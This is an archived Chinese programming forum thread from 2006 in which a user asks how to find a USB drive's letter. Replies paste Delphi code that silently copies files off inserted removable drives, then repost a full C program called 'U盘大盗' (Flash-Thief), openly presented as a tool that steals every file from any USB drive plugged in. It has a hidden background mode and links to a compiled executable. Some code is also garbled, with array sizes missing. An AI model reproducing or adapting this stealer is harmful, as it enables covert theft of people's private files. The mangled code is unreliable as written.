如何知道盘符？？

zhfzhf 发表于 2006-7-11 06:14:17

当我把U盘插入电脑后~~要通过怎么样编程~获得U盘在电脑里的盘符？？？？

cpubbs 发表于 2006-7-11 18:59:26

暂时只找到一点DEPHI的资料，继续努力找找，我看不懂DEPHI：

问：
如何做一个程序 让它点了一项复制功能后可以做到 1。把U盘插如电脑然后就把文件直接复制U盘中然后自动把U盘弹出 2。弹出一个窗口问是否继续执行改功能。 3。执行的话就再执行1的功能不执行了就结束改功能
答：
unit main;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,ShellApi;
type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public procedure WMDeviceChange( var Msg:Tmessage);message WM_DEVICECHANGE ; end; const BDT_DEVICEARRIVAL=$8000; //U盘插上时的消息 type TU_drive=array of integer;// 保存 U盘的数字符号 var Form1: TForm1; U_cnt: integer;//U 盘个数; U_drive:TU_drive;
implementation
{$R *.dfm} {---------文件复制函数----------} procedure Xcopy(ToDir,FromDir:String); var OpStruc:TSHFileOpStruct;//声明一个TSHFileOpStruct 类型, 在ShellApi.pas 里 FromBuf,ToBuf: Array of char; begin FillChar(FromBuf,sizeof(FromBuf),0); FillChar(ToBuf,sizeof(ToBuf),0); StrPCopy(FromBuf,FromDir+'*.txt'); // StrPCopy(ToBuf,ToDir); withOpStruc do begin Wnd:=form1.Handle ; wFunc:=FO_COPY; //执行拷贝操作 pFrom:=@FromBuf; pTo:=@ToBuf;//FOF_SILENT or FOF_NOCONFIRMMKDIR or fFlags:= FOF_SILENT or FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION ; //不带进度条直接建立文件夹 一切询问以 YES 回答 fAnyOperationsAborted:=False; hNameMappings:=Nil; lpszProgressTitle:=Nil; end; ShFileOperation(OpStruc);// 调用API函数,完成操作 showmessage('copying'); end;
 {----------- 初始话 ------------} procedureinit(); var i:integer; begin U_cnt:=0; for i:=1 to 24 do U_drive:=0; end;
{---------- ↓判断是否为U盘 ↓--------}
function isudriver( num:integer): boolean; var Drive:string; DriveType: WORD; begin Drive:= char(ord('A') + num) + ':\'; DriveType:=GetDriveType(Pchar(Drive)); if DriveType=DRIVE_REMOVABLE then result:=true else result:=false; end;
{----------↓本地盘扫描 ↓------------} procedure scan(); var i:integer; begin init(); //初始化,避免重复记数 for i:=3 to 25 do //从D 盘开始扫描 begin if isudriver(i) then begin U_cnt:=U_cnt + 1; U_drive:=i; //将盘符的数字代号保存 end; end; end;
{-------------test-----------------} procedure TForm1.Button1Click(Sender: TObject); var i:integer; str:string; begin scan(); i:=U_drive; form1.Caption:=inttostr(U_cnt) + ' 个盘,该盘为' + char(i + ord('A') ); str:=char(i+ord('A')); Xcopy('c:\temp', pchar(str+ ':\')); end; {-----------↓ 初始化 ↓-----------} procedure TForm1.FormCreate(Sender: TObject); begin init(); end; {----------↓ U盘插入事件 ↓ ----------} procedure TForm1.WMDeviceChange(var Msg:Tmessage); var i:integer; str:string; begin inherited; //什么意思? case Msg.WParam of BDT_DEVICEARRIVAL: // U 盘插上事件 begin form1.Tag:=form1.Tag+1; form1.Caption:=inttostr(form1.tag); if form1.tag mod 3=0 then begin scan(); if U_cnt>0 then for i:=1 to U_cnt do begin str:=char(U_drive+ ord('A'));//取盘符 showmessage('begin copy '+ str); Xcopy('c:\temp', pchar(str+ ':\')); showmessage('end of copy!'); end; end; end; end;// end of case end;
end.

cpubbs 发表于 2006-7-11 19:00:00

如果能看懂，就把这个思想移到LV下面就可以实现了！

cpubbs 发表于 2006-7-11 19:03:56

下面是VC的:
转自<a href="https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=55182&p=250053" target="_blank" >https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=55182&p=250053</A>
U盘大盗DIY
Make Trojan 13:02:04 U盘大盗DIY 作者：lake2来源：lake2的专栏发布时间：2005-9-30 8:10:01发布人：noangel 减小字体增大字体 【收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【收藏此页到bbmao】 看某期《黑客防线》上有介绍编写“U盘小偷”这个盗取U盘内所有文件的程序的文章，反正也没事做，自己也写了一个。文中是用VC++加MFC写的，我用C、API来写，而且名字叫“U盘大盗”，不然怎么会叫DIY呢^_^ 原理很简单，就是每隔一段时间探测驱动器，发现可移动盘就把里面的内容copy到机器上。几下子就搞定。代码如下，有关函数的可参考MSDN、CSDN搜索（还多亏了它呢）。 #include "windows.h" #include "stdio.h" #include "string.h" #include "direct.h" char dir; /* 看好啦，偷东西咯～ */ void Copy( char* FileName ) { char dir2; strcpy( dir2 , dir ); //从全路径提取出文件名 char* temp = strchr(FileName,'\\'); temp++; strcat(dir2 , temp ); CopyFile( FileName , dir2 , 1 ); } void CreateDir( char * path ) { char temp2;strcpy( temp2 , dir ); char* temp = strchr( path , '\\'); temp++; strcat(temp2 , temp ); mkdir( temp2 ); } /* 这个函数就是遍历目录得到文件 */ void GetFile( char* FilePath ) { char temp,temp1; strcpy( temp ,FilePath ); WIN32_FIND_DATA FindFileData; HANDLE hFind; strcat( temp , "*"); //printf("%s",temp); hFind = FindFirstFile( temp , &FindFileData ); //printf("%s\n",FindFileData.cFileName ); if ( hFind == INVALID_HANDLE_VALUE ) { //printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ()); //exit(0); } else { //printf("%s",temp1); do { strcpy( temp1 , FilePath ); strcat( temp1 , FindFileData.cFileName ); if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0) { if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY ) { strcat( temp1 , "\\" ); CreateDir( temp1 ); GetFile( temp1 ); } else { //printf("%s\n",temp1 ); Copy( temp1 ); } } }while( FindNextFile( hFind,&FindFileData ) ); } FindClose(hFind); } /* 这个函数检测是否为可移动磁盘 */ int CheckDisk(char *disk) { if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0; return -1; } int Steal() { char buf; DWORD lod=GetLogicalDrives(); /* GetLogicalDrives 返回的是一个32位整数，将他转换成二进制后，最高位表示驱动器A: 依次类推 比如，10111000000000000000000000000000 表示这台机器有驱动器　a,c,d,e */ if (lod!=0) { for (int i=0;i<26;i++) { if ((lod & 1)==1) { sprintf(buf,"%c",'A'+i); strcat(buf,":\\"); if(!CheckDisk(buf)) { //现在判断驱动是否准备就绪～ if(GetVolumeInformation(buf,0,0,0,0,0,0,0)) { GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //GetFile("j:\\a\\"); } } } lod=lod>>1; } } return 0; } int main(int argc, char* argv[]) { SYSTEMTIME st; char dtime,temp; GetLocalTime( &st ); itoa( st.wYear ,temp , 10 ); strcpy( dtime , temp ); itoa( st.wMonth ,temp , 10 ); strcat( dtime , temp ); itoa( st.wDay ,temp , 10 ); strcat( dtime , temp ); mkdir( dtime ); getcwd( dir , 260 ); strcat( dir , "\\"); strcat( dir , dtime ); strcat( dir , "\\" ); if(argc!=2) { printf("\n Flash-Thief 1.0 by lake2 ( <a href="http://lake2.126.com/" target="_blank" >http://lake2.126.com</A> )\n"); printf("Date: \t2005-5-28\n"); printf("You can quit this program with Ctrl + C \nand you can run it in hide mode with \'-hide\'\n"); printf("It's nothing with me whatever you do ! \n"); printf("Running.......\n"); while(1) { Steal(); Sleep(30000); } } else { if(strcmp( argv , "-hide" )==0){printf("It's nothing with me whatever you do ! \n");ShellExecute( 0, "open", argv, NULL, NULL, SW_HIDE );} else printf("Parameter %s is invalid",argv); } return 0; } 程序是命令行下的，加参数“-hide”可以后台运行；运行后会在当前目录生成当前日期的文件夹，盗取的东东都放在里面。程序有个小问题，就是当可移动设备是个移动硬盘的时候，呵呵，恐怕你的硬盘要很大才行哦。这个问题不想改了。 VS.net + XP SP1 编译通过，编译好的程序这里可以下<a href="http://www.0x54.org/lake2/program/flash-thief.exe" target="_blank" >http://www.0x54.org/lake2/program/flash-thief.exe</A>

cpubbs 发表于 2006-7-11 19:06:06

我有空也研究一下！

页: [1]

cpubbs论坛's Archiver

如何知道盘符？？